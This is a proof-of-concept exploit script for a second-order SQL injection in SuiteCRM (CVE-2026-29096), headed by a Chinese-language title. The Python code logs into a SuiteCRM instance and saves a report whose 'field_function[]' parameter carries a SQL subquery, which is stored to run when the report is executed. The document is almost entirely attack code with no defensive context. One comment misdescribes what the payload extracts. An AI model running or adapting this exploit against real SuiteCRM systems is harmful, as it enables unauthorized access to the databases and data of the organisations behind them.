CVE-2026-29096 SuiteCRM二阶SQL注入漏洞

# PoC for CVE-2026-29096 (Second-order SQL Injection in SuiteCRM) # Attacker injects SQL payload into the 'field_function' parameter when creating a report. import requests target_url = "http://vulnerable-suitecrm.com/index.php" session = requests.Session() # 1. Login creds = {"user_name": "attacker", "user_password": "password"} session.post(target_url + "/?module=Users&action=Login", data=creds) # 2. Create Report with SQL Injection in field_function # The payload attempts to extract the database user payload = "(SELECT SUBSTRING(@@version, 1, 10))" report_data = { "module": "AOR_Reports", "action": "save", "name": "ExploitReport", "report_module": "Accounts", "field_function[]": payload # Vulnerable parameter } response = session.post(target_url, data=report_data) if response.status_code == 200: print("Report created successfully. SQL payload stored.") print("Trigger the report execution to execute the SQL.")